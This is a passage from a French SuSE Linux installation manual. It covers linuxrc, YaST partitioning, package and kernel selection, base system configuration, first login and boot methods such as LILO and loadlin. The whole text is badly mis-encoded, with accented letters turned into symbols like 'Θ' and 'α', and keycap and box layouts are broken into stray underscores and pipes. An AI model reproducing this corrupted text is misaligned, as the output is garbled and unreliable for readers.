tas d'informations sur le matΘriel pour autant que celui-ci ait ΘtΘ reconnu
par le noyau ou que des modules dΘjα chargΘs y aient accΦs.
`Modules du noyau (pilotes de matΘriel)' ~ Vous devez Θventuel-
lement sΘlectionner cette option pour charger des modules adaptΘs α votre
matΘriel.
Cas normal : Vous ne devez pas sΘlectionner cette option du menu si
vous avez raccordΘ aussi bien votre disque dur (vos disques durs) que
30
________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
*______________________
votre lecteur de CD-ROM (+ ATAPI) α un contr⌠leur (E)IDE. Le support
(E)IDE est en effet compilΘ de faτon permanente dans le noyau.
`[' ` 'DΘmarrer l'installation / le systΦme ] ~ L'installation est maintenant
poursuivie.
`Abandon / RΘamorτage' ~ Dans le cas o∙ vous auriez changΘ d'idΘe : : :
Ne dΘmarrez le chargement des modules avec `Modules du noyau' que si
vous avez besoin d'un support soit pour SCSI (non compatible avec Adaptec
2940) soit pour PCMCIA (voir paragraphe 11.1.6 page 326) ou si vous ne
possΘdez pas de lecteur ATAPI. Pour savoir comment charger les modules,
reportez-vous au paragraphe 16.3 page 429. Dans le sous-menu suivant, vous
prΘciserez pourquoi vous voulez (ou plus exactement devez) charger des mo-
dules. Les cas les plus courants sont :
~ Un module SCSI ~ si vous avez un disque dur SCSI ou un lecteur de
CD-ROM SCSI.
~ Un module de CD-ROM ~ au cas o∙ votre lecteur de CD-ROM ne serait
raccordΘ ni au contr⌠leur (E)IDE ni au contr⌠leur SCSI.
~ Un module rΘseau ~ si vous procΘdez α une installation via NFS ou FTP
~ mais ce n'est pas ici notre sujet.
_______________________________________________________________________________________________________________________||
|||||||| Si, parmi les modules standards, vous n'en trouvez aucun qui gΦre votre ||| |
|||||||| || |
|||||||| support d'installation (lecteur de CD-ROM propriΘtaire, lecteur de CD- || |
|||||||| ROM sur port parallΦle, PCMCIA), vous pouvez Θventuellement avoir re- || |
|||||||| || |
|||||||| cours aux pilotes additionnels de la disquette modules. Pour cela, allez α || |
|||||||| la fin de la liste et sΘlectionnez l'option `-- Autres modules --'. La || |
|||||||| || |
|||||||| disquette modules est demandΘe par linuxrc . || |
||||||||_______________________________________________________________________________________________________________||_
DΘmarrage de l'installation
Comme vous avez dΘjα sΘlectionnΘ `DΘmarrer__l'installation_ / le
systΦme', il vous suffit d'appuyer sur | _________E|ntrΘepour arriver α l'installation
proprement dite.
Vous pouvez ici choisir l'une des options suivantes :
~ `DΘmarrer l'installation' ~ C'est ce que vous allez faire.
~ `Amorcer le systΦme installΘ' ~ Cette option sera Θven-
tuellement nΘcessaire par la suite si vous deviez avoir des diffi-
cultΘs avec un amorτage normal.
~ `DΘmarrer le systΦme de secours' ~ Cette option n'est pas
encore disponible sur les systΦmes AXP.
~ `InsΘrer le CD live' ~ Si vous voulez vous faire une idΘe du
systΦme sans pour autant l'installer sur votre disque dur. Pour le
CD live, voir le paragraphe 3.6.4 page 108.
Pour arriver α l'installation, appuyez maintenant sur |E__________|ntrΘeafin d'obtenir
l'option du menu `DΘmarrer l'installation'. Maintenant, il est temps
*
* 31
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
Fig. 2.4: Menu d'installation de linuxrc
Fig. 2.5: SΘlection du support source dans linuxrc
de choisir un support d'installation. En gΘnΘral il suffit de laisser le curseur
sur la sΘlection par dΘfaut : `CD-ROM'.
Appuyez maintenant sur |E_________|_ntrΘeet sΘlectionnez ensuite YaST1 afin de com-
mencer l'installation proprement dite. Le support d'installation sera le CD-
ROM. └ moins que vous n'ayez fait un autre choix.
L'environnement d'installation est chargΘ sur un disque RAM et ~ lorsque
cette procΘdure est terminΘe ~ le programme d'installation YaST est lancΘ.
ProblΦmes Θventuels
Il peut survenir les problΦmes suivants :
32
________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
*______________________
~ L'adaptateur SCSI utilisΘ n'est pas reconnu. Utilisez un noyau dans lequel
est insΘrΘ le pilote SCSI correspondant ; crΘez une disquette d'amorτage
selon la description faite au paragraphe 2.6.3 page 57 .
~ Le lecteur de CD-ROM ATAPI se bloque α la lecture : voir le para-
graphe 2.7.5 page 60 et pour des informations plus gΘnΘrales, le para-
graphe 2.7.13 page 64.
2.2.4 DΘmarrage de YaST
YaST vous prΘsente un Θcran d'accueil qui vous donne le choix entre 4 op-
tions (voir figure 2.6).
Fig. 2.6: YaST ~ ╔cran d'accueil
_______________________________________________________________________________________________________________________||
|||||||| Si vous voulez faire plus ample connaissance avec YaST ou si vous avez ||| |
|||||||| || |
|||||||| des tΓches de maintenance particuliΦres, reportez-vous au chapitre sur || |
|||||||| YaST (chapitre 3 page 81) ! ~ Au dΘbut de ce chapitre, vous trouverez || |
|||||||| || |
|||||||| aussi quelques informations sur la disposition et le fonctionnement du cla- || |
|||||||| vier sous YaST . || |
||||||||_______________________________________________________________________________________________________________||_
`Nouvelle installation de Linux' Si vous voulez installer un nou-
veau SuSE Linux. C'est prΘcisΘment cette question que nous allons traiter
dans la suite de ce texte ;-)
`Mise α jour d'un systΦme Linux existant' La mise α jour d'un
systΦme SuSE Linux est traitΘe au paragraphe 15.1 page 403.
`Installation en mode expert' Si vous choisissez ce mode, vous au-
rez de nombreuses possibilitΘs d'intervenir de faτon prΘcise. Ne sΘlection-
nez cette option que si vous avez suffisamment d'expΘrience sous Linux et
si vous savez exactement quelles phases se succΦdent les unes aux autres.
Le mode expert ne sera pas dΘcrit par la suite !
`Annuler ~ pas d'installation' Pour le cas o∙ vous changeriez
d'idΘe au dernier moment : : :
*
* 33
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
SΘlectionnez `Nouvelle installation de Linux'.
Avant d'envisager de partitionner vous-mΩme, lisez le paragraphe 2.8 page 67.
Vous y trouverez des informations d'arriΦre-plan sur la maniΦre de procΘder.
2.2.5 Partitionner et formater le disque dur
YaST vous fait savoir qu'un disque dur a ΘtΘ dΘtectΘ. S'il y a suffisamment
d'espace ``libre'' sur ce disque, YaST le constatera et vous proposera d'utiliser
cette zone pour Linux (masque `Utiliser l'espace disponible ?').
________________________________________________________________________________________________________*
*________||
| Dans le cas o∙ il existerait dΘjα une partition de swap ~ α la suite par *
* ||||
| exemple d'une installation prΘcΘdente ~, YaST vous demandera si cette *
* |||
| *
* |||
| partition de swap doit Ωtre utilisΘe et ensuite intΘgrΘe dans le systΦme. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Voici comment vous devez procΘder pour installer les partitions nΘcessaires :
`Partitionner' ~ └ la question qui vous sera posΘe au sujet du partition-
nement, vous devrez rΘpondre en rΦgle gΘnΘrale par `Partitionner' si
vous procΘdez α une premiΦre ou α une nouvelle installation de SuSE Li-
nux. Ne sΘlectionnez l'option `Installer LVM' que si vous savez exac-
tement ce qu'est un Logical Volume Manager et si vous Ωtes s√r qu'il vous
en faut un.
`OUI' ~ Si vous rΘpondez `Oui', YaST partitionnera de faτon autonome et
vous pourrez continuer en passant au paragraphe 2.2.7 page 36.
`NON' ~ Si vous rΘpondez `Non', vous pourrez partitionner.
Fig. 2.7: YaST ~ Partitionner le disque
Si YaST ne parvient pas α trouver d'espace libre, vous verrez apparaεtre le
masque `Tout le disque'. Vous avez_ les deux_ possibilitΘs_ qui sont dΘ-
crites ci-dessous (rappel_: avec |T____a|bou |____|ou avec |!___|vous positionnez le
curseur et avec |_____-|vous validez votre sΘlection) :
34
________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
*______________________
`Partitionner' ~ Vous procΘdez vous-mΩme au partitionnement de votre
disque dur. Vous devez absolument sΘlectionner cette option si, parallΦle-
ment α Linux, vous voulez continuer α utiliser un autre systΦme d'exploi-
tation dΘjα installΘ.
_______________________________________________________________________________________________________________________||
|||||||| Si vous faites exΘcuter l'option `Tout le disque', le disque dur sera en- ||| |
|||||||| tiΦrement reconfigurΘ et vous perdrez la totalitΘ des donnΘes qui se trouvent || |
|||||||| || |
|||||||| α ce moment sur le disque dur ! || |
||||||||_______________________________________________________________________________________________________________||_
`Tout le disque' ~ AprΦs vous avoir posΘ une question de sΘcuritΘ ``en
rouge'', YaST procΘdera de faτon autonome au partitionnement de votre
disque et formatera votre partition automatiquement.
Vous devriez toujours sΘlectionner cette option si voulez avoir, sur le
disque choisi, un nouveau SuSE Linux comme seul systΦme d'exploita-
tion et si vous ne souhaitez pas avoir α vous prΘoccuper de la question du
partitionnement. Les systΦmes d'exploitation qui pourraient Θventuel-
lement se trouver sur votre disque seront alors effacΘs !
Si vous sΘlectionnez l'option `Tout le disque' YaST adoptera la stra-
tΘgie suivante :
~ Il installera une partition /boot (au minimum 2 Mo ou 1 cylindre),
~ une partition de swap (le double de la quantiΘ de RAM sans toutefois
dΘpasser 128 Mo)
~ et le reste sous forme d'une grande partition qui, sous `/', deviendra
la partition racine (rΘpertoire racine).
ProblΦmes Θventuels
~ Il peut arriver que la relecture de la table des partitions pose des pro-
blΦmes. YaST vous en avertira dans une fenΩtre de messages rouge et
vous demandera d'amorcer. Dans un tel cas, redΘmarrez votre machine et
au prochain passage renoncez α effectuer un nouveau partitionnement.
~ Il n'y a pas suffisamment de place disponible. Le chapitre 2.6.1 page 54
vous donne des informations sur la maniΦre de faire de la place sur le
disque avec fips sous DOS.
2.2.6 Commencer l'installation des logiciels
Le disque dur Θtant prΘparΘ, il s'agit maintenant de choisir, dans l'abondance
de ce qui vous est proposΘ, les logiciels que vous dΘsirez installer.
YaST vous demande maintenant un peu de patience : Les donnΘes des sΘries
et paquetages doivent Ωtre lues α partir du support d'installation. Vous verrez,
lorsque cette opΘration sera terminΘe, l'affichage du menu d'installation de
YaST (figure 2.8 page suivante). Si vous ne dΘsirez pas faire un choix particu-
lier, continuez avec l'option `DΘmarrer l'installation'. Vous pouvez,
dans ce cas, passer directement au paragraphe 2.2.8 page 37.
~ SΘlectionnez α prΘsent `Charger la configuration' pour faire votre
choix de logiciels (Standard, Serveur rΘseau, Minimal etc.) Ce sujet est
traitΘ au paragraphe 2.2.7. AprΦs avoir chargΘ la configuration appropriΘe
*
* 35
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
Fig. 2.8: YaST ~ SΘlection des paquetages
et avoir confirmΘ, vous vous retrouverez de nouveau au menu d'installa-
tion.
~ Ici le menu d'installation, avec l'option `Modifier/crΘer une
configuration', vous donne la possibilitΘ de modifier certains dΘ-
tails de votre sΘlection de paquetages. Vous arrivez ainsi α la sΘlection
des sΘries de SuSE Linux. En rΦgle gΘnΘrale, vous n'avez pas besoin de
cette option car la sΘlection de paquetages qui vous est proposΘe vous
permettra de disposer d'un systΦme fonctionnel. Vous pourrez toujours
plus tard ~ lorsque Linux tournera ~ modifier et complΘter α tout moment
votre sΘlection. Vous trouverez une description de ces menus ainsi que
de la fonction des diffΘrentes options au chapitre YaST , paragraphe 3.4
page 94.
2.2.7 SΘlectionnez votre Θquipement logiciel de base
Vous arriverez dans ce masque de YaST (figure 2.9 page suivante en sΘlec-
tionnant l'option `Charger la configuration' au paragraphe 2.2.6 page
prΘcΘdente.
Nous avons mis α votre disposition__quelques ``configurations'' prΘdΘfinies.
Avec les touches flΘchΘes_|"__|et_|#_ |, vous pouvez accΘder aux diffΘrentes op-
tions. Avec la touche |_________E|space, vous pouvez sΘlectionner ou dΘsΘlectionner une
option. Une croix (`X') dans la case correspondante signifie que vous avez
sΘlectionnΘ cette configuration en remplacement ou en supplΘment.
Une astΘrisque (`*') placΘe derriΦre indique que cette configuration va Ωtre
installΘe. Ce caractΦre est α interprΘter dans ce sens que le choix de l'option
`SuSE simplement tout' provoque la sΘlection automatique de configura-
tions supplΘmentaires car les configurations spΘciales reprΘsentent des sous-
ensembles de `SuSE simplement tout'.
`Ajouter' Avec cette option du menu, vous pouvez ajouter aux paquetages
et configurations sΘlectionnΘs les paquetages de la configuration que vous
avez choisie.
36
________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
*______________________
Fig. 2.9: YaST ~ SΘlectionner les configurations
`Remplacer' Vous pouvez ici remplacer une sΘlection dΘjα faite par une
nouvelle configuration. Il vous sera demandΘ le cas ΘchΘant si vous sou-
haitez effacer les paquetages ne faisant pas partie de la configuration.
`Annuler' Vous abandonnez la procΘdure.
2.2.8 Installation de logiciels systΦme et de programmes
AprΦs tous ces travaux prΘliminaires, vous pouvez enfin commencer α remplir
votre disque dur avec les logiciels qui vous conviennent.
~ Mettez en marche le processus d'installation des logiciels avec `DΘmar-
rer l'installation'. YaST vous montre α l'Θcran quel paquetage est
en cours d'installation et combien de paquetages doivent encore suivre.
~ Les autres CD seront ensuite demandΘs, en fonction de la configuration.
~ Lorsque les paquetages auront ΘtΘ installΘs, retournez au menu principal
en sΘlectionnant `Menu principal'.
ProblΦmes Θventuels
~ Si votre machine ne dispose que de ``peu'' de mΘmoire RAM (16 Mo),
vous ne pouvez, dans un premier temps, installer qu'α partir du premier
CD-ROM. Dans ce cas, les autres CD ne seront demandΘs que plus tard
(paragraphe 2.2.10 page 42).
~ Lorsque des problΦmes surviennent lors de l'installation des logiciels, ils
sont gΘnΘralement d√s α un matΘriel dΘfectueux ou mal configurΘ.
Si vous avez un systΦme SCSI, vΘrifiez la longueur et la terminaison des
cΓbles. DΘconnectez du bus les pΘriphΘriques externes, principalement
les scanners. Essayez aussi d'utiliser des paramΦtres du noyau, les plus
importants sont ΘvoquΘs au paragraphe 14.3.1 page 369.
Pour ATAPI, reportez-vous au paragraphe 2.7.5 page 60.
*
* 37
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
Fig. 2.10: YaST ~ SΘlection du noyau
2.2.9 SΘlectionner le noyau pour le systΦme
Le systΦme logiciel de base a ΘtΘ transfΘrΘ sur le disque dur.
Un + noyau appropriΘ pour le systΦme va maintenant Ωtre installΘ et, si vous
le dΘsirez, le gestionnaire d'amorτage LILO sera installΘ sur le disque dur
(voir figure 2.10) ; par exemple :
Noyau ~ Le `noyau standard' est appropriΘ pour la plupart des systΦmes.
~ Le `noyau avec support SMP' doit Ωtre sΘlectionnΘ pour les systΦmes
multiprocesseurs.
~ Le `noyau avec support APM' inclut un support pour ``Advanced Po-
wer Management''.
________________________________________________________________________________________________________*
*________||
| Si votre processeur n'est pas α 100% compatible Pentium, sΘlectionnez *
* ||||
| `Noyau pour machines avec processeurs 386 ou 486'. Vous de- *
* |||
| *
* |||
| vez choisir ce noyau par exemple pour un Cyrix 686. Si vous faites un mau- *
* |||
| vais choix, vous risquez de voir apparaεtre le message "Kernel panic". *
* |||
| *
* |||
| Voir http://sdb.suse.de/sdb/de/html/cyrix686.html. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
YaST copiera alors ce noyau vers /boot/vmlinuz et placera le fichier de
configuration du noyau sous /boot et, si vous le souhaitez, Θgalement sous
/usr/src/linux/.config. Ce fichier donne une description prΘcise du
noyau installΘ et des modules correspondants.
LILO Lorsqu'il vous sera demandΘ si vous voulez configurer LILO , rΘpondez
`Oui' si vous Ωtes s√r que les systΦmes qui sont Θventuellement dΘjα installΘs
sur votre disque pourront Ωtre amorcΘs par LILO (voir figure 3.21 page 105).
C'est gΘnΘralement le cas pour DOS et Windows 95/98 ~ avec Windows NT
les choses sont quelque peu diffΘrentes (voir paragraphe 4.7.2 page 135).
38
________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
*______________________
Vous trouverez au chapitre YaST , paragraphe 3.6.2 page 104 des nformations
sur la maniΦre de remplir les diffΘrents masques.
2.2.10 Configuration de base du systΦme avec YaST
AprΦs la sΘlection du noyau, nous passons maintenant α la configuration de
base. Les premiers composants logiciels et matΘriels sont configurΘs.
Fig. 2.11: YaST ~ Choix de la zone horaire
~ Vous pouvez maintenant choisir votre zone horaire (figure 2.11). Vous zone horaire
voyez apparaεtre une trΦs longue liste dans laquelle vous sΘlectionnerez
`CET' (angl. Central European Time) si vous vous trouvez avec votre
machine dans la zone horaire de l'Europe centrale : : :
Fig. 2.12: YaST ~ Nom de machine et de domaine
*
* 39
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
L'horloge peut Ωtre rΘglΘe sur Greenwich Mean Time (GMT) ou sur
l'heure locale. `GMT' est prΘvu par dΘfaut. SΘlectionnez `heure loca-
le' si votre horloge est rΘglΘe de cette maniΦre.
Configuration
rΘseau ~ Quelques masques pour la configuration rΘseau apparaissent maintenant :
~ Nom de machine et de domaine (figure 2.12 page prΘcΘdente). Imagi-
nez ici quelque chose de plaisant si votre + administrateur systΦme
ou votre + FAI ne vous a rien proposΘ. Si vous avez l'intention
de vous connecter α Internet ou d'utiliser un rΘseau local, veillez
α ce que ce nom soit valide. Un nom autorisΘ est par exemple
terre.cosmos.univers. Ici, terre est toujours le nom d'h⌠te de
la machine (angl. hostname) et cosmos.univers le nom du domaine
(angl. domainname).
~ loopback ou vΘritable rΘseau ? Si votre machine ne dispose pas
de carte rΘseau, vous pouvez valider loopback et il ne vous sera pas
nΘcessaire d'effectuer une configuration plus poussΘe.
~ Si vous choisissez un vΘritable rΘseau, il vous sera posΘ d'autres
questions : client DHCP, type du rΘseau (pour les cartes ethernet, choi-
sissez eth0 ), adresse IP, masque rΘseau, passerelle, inetd , portmap ,
serveur NFS, ligne From pour les messages Usenet, client rΘseau avec
accΦs α un serveur de noms (IP du serveur de noms, domaine YP),
sΘlection du module du noyau pour la carte rΘseau).
Fig. 2.13: YaST ~ Choix du systΦme de messagerie
~ Choix du fichier sendmail.cf pour le systΦme de messagerie (fi-
gure 2.13) ; voir aussi paragraphe 6.8 page 205.
Les informations rassemblΘes jusque lα sont maintenant enregistrΘes et rΘpar-
ties par SuSEconfig entre les diffΘrents fichiers de configurations. YaST se
termine et de nombreux messages concernant l'Θtat du systΦme se succΦdent
sur l'Θcran : : :
40
________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_________________*
*____________________
~ AprΦs quelques messages du systΦme et le message de "bienvenue", Mot de passe
votre entiΦre attention sera requise : Il reste encore α rΘgler l'importante root
question du mot de passe `root'. Vous aurez toujours besoin de ce mot
de passe pour vous connecter en tant qu'+ administrateur systΦme. Choi-
sissez votre mot de passe avec le plus grand soin, retenez-le bien et tenez
compte de la casse des lettres. Dans la mesure du possible, n'utilisez ni
espaces ni caractΦres spΘciaux (α moins que vous ne sachiez exactement
ce que vous faites). Notez qu'il n'est tenu compte que de 8 caractΦres dans
la configuration par dΘfaut.
~ YaST vous suggΘrera de crΘer un login utilisateur pour votre travail quoti- Login
dien car normalement vous ne devriez pas vous connecter sous le compte
`root' mais sous votre login utilisateur. Choisissez un joli petit nom
(sans espaces et ne comportant pas, si possible, plus de 8 caractΦres), par
exemple vos initiales ou tux. Si vous entrez un mot de passe, il est abso-
lument essentiel aussi que vous le reteniez !
Fig. 2.14: YaST ~ Choix de l'interface pour le modem et la souris
~ YaST vous demande si vous voulez configurer votre modem. Si vous Modem
possΘdez un modem, vous pouvez le faire intΘgrer dΦs maintenant mais
il est aussi possible de remettre cette opΘration α plus tard et d'installer
votre modem α n'importe quel moment. Si vous rΘpondez `Oui', YaST
vous demandera quel est le port sΘrie de votre modem (figure 2.14). Notez
que les ``Winmodems'' ne fonctionnent pas (voir http://sdb.suse.de/
sdb/en/html/cep_winmodem.html).
~ YaST vous demande si vous voulez configurer votre souris. Si vous vou- Souris
lez le faire, rΘpondez `Oui' et sΘlectionnez le type de votre souris dans
la liste (comme dans la figure 2.15 page suivante). S'il s'agit d'une souris
sΘrie, YaST voudra encore savoir α quelle interface sΘrie elle est connec-
tΘe (figure 2.14). SΘlectionnez Θgalement celle-ci dans la liste (figure 2.15
page suivante).
*
* 41
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
Fig. 2.15: YaST ~ Choix du pilote souris
Fig. 2.16: YaST ~ Lancement de gpm
~ Confirmez ensuite que le programme gpm devra Ωtre exΘcutΘ lors du
dΘmarrage du systΦme (figure 2.16).
Autres CD Si d'autres paquetages doivent encore Ωtre installΘs α partir des CD-ROM
restants (voir paragraphe 2.2.8 page 37), YaST dΘmarrera maintenant cette
procΘdure : : :
~ YaST vous demande d'insΘrer les CD-ROM suivants1 afin qu'il soit pos-
sible d'installer tous les logiciels restants. Le dernier CD ne sera requis
que si vous avez explicitement sΘlectionnΘ les sources pour l'installation
~ mais normalement ce ne sera pas le cas !
_____________________________________________1
Si vous avez un SuSE Linux avec DVD, vous n'avez pas α vous tracasser α ce sujet : la totalitΘ
des logiciels tient sur un seul support.
42
________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
*______________________
~ Ensuite vous quitterez YaST et il vous sera demandΘ d'appuyer sur |______|-
Votre systΦme SuSE Linux est entiΦrement installΘ.
2.2.11 Se connecter aprΦs la premiΦre installation
Quelques scripts de configuration automatique sont exΘcutΘs en arriΦre-plan `root'
et vous pouvez vous connecter en avant-plan, par exemple sur la premiΦre
console Entrez, α l'invite "Login :" d'abord root et α l'invite "Pass- Login :
word :" le mot de passe que vous avez prΘalablement dΘterminΘ pour l'uti- Password :
lisateur`root' (voir paragraphe 2.2.10 page 41) ~ α ne pas confondre avec
le mot de passe pour l'``utilisateur exemple''. Pour la procΘdure de login, voir
paragraphe 19.1 page 482.
Vous voyez maintenant l'+ invite (angl. prompt) de Linux et pouvez com- Invite
mencer α travailler. Voici α quoi ressemble le message d'invite :
terre: #
Lancez par exemple la commande ls -a pour lister les fichiers dans votre
rΘpertoire de travail.
terre: # ls -a
Ou lancez YaST (yast ) afin d'apporter des modifications au systΦme :
terre: # yast
Si vous lancez YaST (yast ), vous pouvez ajouter de nouveaux utilisateurs
avec l'option du menu `Administration du systΦme'. Vous continue-
rez avec la sous-option `Configurer XFree86' pour configurer l'interface
graphique (voir paragraphe 8.1 page 240).
_______________________________________________________________________________________________________________________|||||
|||||||| Des scripts de configuration automatique vont tourner en tΓche de fond ||| |
|||||||| || |
|||||||| (indexation des pages de man, configuration de Perl, etc.). Sur des ma- || |
|||||||| chines de moindre performance, cette procΘdure peut souvent prendre plus || |
|||||||| || |
|||||||| d'une heure ; ceci dΘpend de la taille de l'installation. Si vous arrΩtez votre || |
|||||||| machine prΘmaturΘment, YaST redΘmarrera automatiquement lors du pro- || |
|||||||| || |
|||||||| chain amorτage ! || |
|||||||| L'exΘcution de ces scripts n'est complΦtement terminΘe que lorsque vous || |
|||||||| ____ ___ || |
|||||||| voyez sur la + console 9 (basculez avec |A____l|t+ |F___|9) : || |
|||||||| || |
|||||||| "Have a lot of fun !" || |
||||||||_______________________________________________________________________________________________________________||_
AprΦs l'installation du systΦme, vous pourrez effectuer de nouvelles configu-
rations. Voir au paragraphe 2.1.17 page 27 les rΘfΘrences α l'impression, α
Internet et α l'intΘgration du matΘriel .
_______________________________________________________________________________________________________________________|||
|||||||| || |
|||||||| Un ordinateur sous Linux ne doit jamais Ωtre Θteint brutalement. Utilisez || |
|||||||| soit la fonctionnalitΘ prΘvue dans KDM , soit les commandes prΘsentΘes au || |
|||||||| || |
|||||||| paragraphe 19.2 page 483 pour arrΩter votre machine (angl. shutdown). Si || |
|||||||| votre machine n'est pas arrΩtΘe de cette maniΦre, il vous sera nΘcessaire, || |
|||||||| || |
|||||||| lors du prochain amorτage, de vΘrifier les systΦmes de fichiers ~ ceci prend || |
|||||||| du temps et il peut arriver, dans quelques rares cas, que la vΘrification ne || |
|||||||| || |
|||||||| permette pas de restaurer tous les fichiers Θventuellement dΘtΘriorΘs. || |
||||||||_______________________________________________________________________________________________________________||_
*
* 43
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
2.3 Comment dΘmarrer SuSE Linux α l'avenir ?
Le systΦme Linux est pour ainsi dire complΦtement installΘ. Il reste en-
core α prΘciser comment vous voulez lancer Linux pour l'usage quotidien
(+ Amorτage).
L'aperτu qui va suivre vous fera connaεtre les principales mΘthodes de dΘmar-
rage de Linux. Le choix que vous ferez dΘpendra de votre degrΘ d'expΘrience
avec les ordinateurs ainsi que de l'usage auquel vous destinez votre systΦme
Linux.
Disquette d'amorτage : DΘmarrage de Linux au moyen d'une disquette
d'amorτage. Cette mΘthode est toujours efficace et n'occasionne pas de
travail car il est probable que la disquette d'amorτage ait dΘjα ΘtΘ gΘnΘrΘe
accessoirement (au paragraphe 2.2.10 page 39).
La disquette d'amorτage est une bonne solution provisoire si vous ne
parvenez pas tout de suite α vous familiariser avec les autres mΘthodes ou
si vous jugez prΘfΘrable de remettre α plus tard le choix d'un mΘcanisme
d'amorτage dΘfinitif. La disquette d'amorτage peut aussi Ωtre une bonne
solution en relation avec OS/2 ou Windows NT.
loadlin : La variante loadlin peut Ωtre utilisΘe dans les conditions suivantes :
~ Votre machine doit tourner sous DOS soit en mode rΘel, soit en mode
virtuel 8086 avec dans ce cas un serveur VCPI disponible. Un ser-
veur VCPI est mis α disposition par emm386.exe , par exemple. En
d'autres termes, cette mΘthode ne fonctionne ni sous Unix, ni sous
OS/2 ni dans la fenΩtre DOS de Windows 95/98. Elle fonctionne par
contre trΦs bien α partir de l'invite de MS-DOS ou α partir du mode
DOS sous Windows 95/98.
~ Votre machine doit avoir suffisamment de mΘmoire DOS disponible :
au dessous de 640 Ko, au moins 128 Ko. Le reste peut Ωtre de la
mΘmoire Θtendue /EMS/XMS.
loadlin demande certes un peu de travail pour son installation, mais en
revanche il se laisse trΦs facilement intΘgrer dans les menus de dΘmarrage
de Windows 95/98. Pour cela, il est nΘcessaire d'Θditer manuellement des
fichiers de configuration. Mais aucune entrΘe n'est faite dans le + MBR
(angl. Master Boot Record) du disque dur. Ceci constitue un gros avan-
tage car les autres systΦmes d'exploitation ne voient de Linux que des
partitions avec des identificateurs (angl. ID) qui leur sont inconnus.
L'installation de loadlin requiert certaines connaissances concernant DOS
et Linux. Vous devriez Ωtre en mesure de crΘer les fichiers de configura-
tion nΘcessaires avec un + Θditeur. Vous trouverez des dΘtails sur cette
procΘdure au paragraphe 4.9 page 143. Vous pouvez cependant rencon-
trer des difficultΘs si vous faites une erreur lors de la configuration des
menus d'amorτage de Windows95/98. Il est mΩme possible, dans un cas
extrΩme, que vous ne puissiez plus accΘder α votre installation Windows.
Vous devriez donc, avant de configurer ces menus d'amorτage, faire en
sorte qu'il vous soit possible de dΘmarrer votre systΦme α l'aide d'une
disquette d'amorτage Windows.
44
________________________________________________________2.3.__Comment_dΘmarrer_SuSE______Linux_α_l'avenir_?_________________*
*______________________
LILO : La solution la plus universelle et la plus correcte sur le plan tech-
nique est reprΘsentΘe par le gestionnaire d'amorτage LILO qui vous
laisse le choix, avant l'amorτage, entre diffΘrents systΦmes d'exploita-
tion. Vous pouvez installer LILO α l'aide de YaST (voir paragraphe 3.6.2
page 104). Toutefois, LILO doit se trouver sur le secteur maεtre d'amor-
τage (MBR) du disque dur, ce qui comporte un petit risque au moment
de l'installation. La correction d'erreurs requiert des connaissances fon-
damentales du processus d'amorτage. Vous devriez Ωtre en mesure, le cas
ΘchΘant, d'Θditer le fichier de configuration principal de LILO . Vous de-
vriez aussi, avant d'installer LILO , penser α son Θventuelle dΘsinstalla-
tion pour le cas o∙ vous devriez rencontrer des difficultΘs. Vous trouverez
des informations plus dΘtaillΘes sur LILO et sur le processus d'amor-
τage au paragraphe 4.3 page 120. Mais LILO n'en demeure pas moins la
meilleure mΘthode d'amorτage. Vous devez seulement avoir conscience
qu'il est plus compliquΘ α utiliser qu'une disquette d'amorτage.
_______________________________________________________________________________________________________________________|||
|||||||| || |
|||||||| Il existe des variantes de BIOS qui vΘrifient la structure du secteur maεtre || |
|||||||| d'amorτage (MBR) et qui aprΦs une installation de LILO Θmettent α tort un || |
|||||||| || |
|||||||| avertissement annonτant la prΘsence d'un virus. Il est facile de remΘdier α || |
|||||||| ce problΦme en recherchant dans le BIOS les paramΦtres correspondants et || |
|||||||| || |
|||||||| en dΘsactivant par exemple la `protection contre les virus'. Vous || |
|||||||| pouvez rΘactiver plus tard cette option. Ceci est cependant superflu si vous || |
|||||||| || |
|||||||| utilisez Linux comme seul systΦme d'exploitation. || |
||||||||_______________________________________________________________________________________________________________||_
Vous trouverez de plus amples informations sur les diffΘrentes mΘthodes
d'amorτage, particuliΦrement sur LILO et loadlin , au chapitre 4 page 117
et pages suivantes.
Autres gestionnaires d'amorτage
Certains fabricants de gestionnaires de fenΩtres se sont orientΘs vers Linux
en raison de son importance croissante. Aux premiΦres places, nous trou-
vons System Commander Deluxe et Partition Magic . En plus d'une aide
lors de l'amorτage du systΦme, ces logiciels offrent aussi un grand nombre
d'autres possibilitΘs. Vous pouvez, par exemple, modifier la taille de parti-
tions FAT32 dΘjα existantes ou transformer une partition FAT16 en FAT32.
Ces programmes ne sont pas inclus sur les CD et ne sont pas couverts par
l'Assistance Technique α l'Installation !
*
* 45
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
2.4 Installation sans lecteur de CD-ROM supportΘ
Que faire s'il n'est pas possible de procΘder α une installation standard au
moyen d'un lecteur de CD-ROM ? Votre lecteur de CD-ROM n'a pas pu
Ωtre supportΘ parce qu'il s'agit d'un vieux lecteur ``propriΘtaire''. Ou votre
ordinateur secondaire (par exemple un notebook) ne possΦde Θventuellement
pas de lecteur de CD-ROM mais il est dotΘ en revanche d'un adaptateur
Ethernet ou d'un cΓble PLIP : : :
SuSE Linux vous propose des solutions pour vous permettre d'installer un
systΦme sur de telles machines sans lecteur de CD-ROM supportΘ :
~ └ partir d'une partition DOS (paragraphe 2.4.1).
~ └ travers une connexion rΘseau : NFS ou FTP via Ethernet ou PLIP
(paragraphe 2.4.2 page 48).
2.4.1 Installation α partir d'une partition DOS
